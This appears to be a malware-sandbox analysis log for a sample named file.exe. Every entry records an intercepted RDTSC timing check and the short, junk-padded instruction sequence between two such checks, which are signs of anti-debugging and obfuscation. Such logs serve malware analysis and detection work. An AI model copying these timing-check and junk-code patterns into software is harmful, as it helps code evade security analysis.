Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A2CB second address: CF4819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 sbb edx, 34635D16h 0x0000000e call dword ptr [ebp+122D5986h] 0x00000014 push ecx 0x00000015 je 00007F47E55EA43Eh 0x0000001b push edx 0x0000001c pop edx 0x0000001d jne 00007F47E55EA436h 0x00000023 pop ecx 0x00000024 pushad 0x00000025 jbe 00007F47E55EA448h 0x0000002b push eax 0x0000002c push edx 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D504EB second address: D5050C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB3h 0x00000007 js 00007F47E4F46FA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50678 second address: D5067C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50830 second address: D50837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50837 second address: D5083C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50BE7 second address: D50C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F47E4F46FB7h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D541D2 second address: D541D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D541D8 second address: D541E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D541E0 second address: D541ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F47E55EA436h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D541ED second address: D54231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F47E4F46FB6h 0x0000000c jmp 00007F47E4F46FB8h 0x00000011 jo 00007F47E4F46FA6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a ja 00007F47E4F46FA6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54231 second address: D54235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53C30 second address: D53C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F47E4F46FACh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53C43 second address: D53C77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA449h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F47E55EA447h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53F2E second address: D53F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D563F0 second address: D56411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jp 00007F47E55EA436h 0x00000013 jmp 00007F47E55EA43Dh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55F93 second address: D55F9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F47E4F46FA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55F9F second address: D55FA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C4DB second address: D5C4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C641 second address: D5C647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C647 second address: D5C65A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47E4F46FAFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C7B2 second address: D5C7BF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F47E55EA436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C7BF second address: D5C7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F47E4F46FB4h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C7DC second address: D5C7E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CB1A second address: D5CB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F47E4F46FAEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CB29 second address: D5CB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09C56 second address: D09C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CC5A second address: D5CC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F47E55EA447h 0x0000000c push eax 0x0000000d pop eax 0x0000000e jbe 00007F47E55EA436h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CC81 second address: D5CCA4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F47E4F46FBDh 0x00000008 jmp 00007F47E4F46FB7h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CCA4 second address: D5CCA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CCA8 second address: D5CCAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D804 second address: D5D80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D80A second address: D5D80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D80E second address: D5D812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D812 second address: D5D818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60A25 second address: D60A6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA449h 0x00000007 jmp 00007F47E55EA43Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F47E55EA445h 0x00000014 push edx 0x00000015 je 00007F47E55EA436h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D612AD second address: D612B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D612B3 second address: D612BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F47E55EA436h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D612BE second address: D612C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D612C4 second address: D612E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA440h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F47E55EA43Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6526C second address: D65277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F47E4F46FA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65277 second address: D65295 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F47E55EA43Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F47E55EA446h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65295 second address: D65299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B339 second address: D6B35D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jng 00007F47E55EA438h 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F47E55EA442h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B35D second address: D6B368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B5D8 second address: D6B5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BEB7 second address: D6BEFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FAFh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F47E4F46FB4h 0x00000011 jnp 00007F47E4F46FA6h 0x00000017 jg 00007F47E4F46FA6h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F47E4F46FADh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BEFF second address: D6BF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BF03 second address: D6BF07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BF07 second address: D6BF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47E55EA447h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F47E55EA441h 0x00000011 pop edx 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BF3C second address: D6BF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F47E4F46FA6h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F47E4F46FA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C585 second address: D6C5C9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F47E55EA436h 0x00000008 jmp 00007F47E55EA449h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007F47E55EA44Ah 0x00000015 jmp 00007F47E55EA444h 0x0000001a pop eax 0x0000001b push edi 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C8AE second address: D6C8CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F47E4F46FB3h 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CB46 second address: D6CB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jc 00007F47E55EA43Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CE23 second address: D6CE29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CE29 second address: D6CE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jbe 00007F47E55EA436h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CE3A second address: D6CE40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70192 second address: D70196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7032A second address: D7032E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFCA second address: D7DFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jnl 00007F47E55EA43Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFDD second address: D7DFFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F47E4F46FA6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jno 00007F47E4F46FA6h 0x00000015 jg 00007F47E4F46FA6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C283 second address: D7C289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C289 second address: D7C292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C292 second address: D7C2A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F47E55EA436h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C814 second address: D7C819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CB12 second address: D7CB17 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CB17 second address: D7CB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CCEC second address: D7CCF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CCF5 second address: D7CCFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CCFB second address: D7CCFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D6E2 second address: D7D701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 jmp 00007F47E4F46FB5h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DE6B second address: D7DE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DE73 second address: D7DE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DE7C second address: D7DE91 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F47E55EA436h 0x00000008 jno 00007F47E55EA436h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BCDA second address: D7BCDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BCDF second address: D7BCFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F47E55EA44Ah 0x0000000f jo 00007F47E55EA43Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83A44 second address: D83A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83A49 second address: D83A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47E55EA43Eh 0x00000009 pop eax 0x0000000a jc 00007F47E55EA43Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83622 second address: D8362F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8362F second address: D83639 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83639 second address: D8363F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9022C second address: D90257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F47E55EA436h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jmp 00007F47E55EA441h 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 jnp 00007F47E55EA444h 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90257 second address: D9025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D929EC second address: D92A3F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007F47E55EA43Ch 0x0000000f jl 00007F47E55EA451h 0x00000015 jc 00007F47E55EA436h 0x0000001b jmp 00007F47E55EA445h 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F47E55EA446h 0x00000028 popad 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D968E9 second address: D9693A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F47E4F46FB8h 0x00000008 pop ecx 0x00000009 jmp 00007F47E4F46FACh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 pushad 0x00000012 jmp 00007F47E4F46FB6h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 jne 00007F47E4F46FA6h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9693A second address: D9693E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C1E5 second address: D9C1E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA299B second address: DA29BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F47E55EA448h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA55EE second address: DA560E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F47E4F46FB7h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA560E second address: DA5612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5612 second address: DA5618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5618 second address: DA5628 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5449 second address: DA5473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F47E4F46FA6h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F47E4F46FB2h 0x00000016 push edx 0x00000017 je 00007F47E4F46FA6h 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8729 second address: DA872F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD55A second address: DAD569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F47E4F46FA6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD96D second address: DAD972 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD972 second address: DAD978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
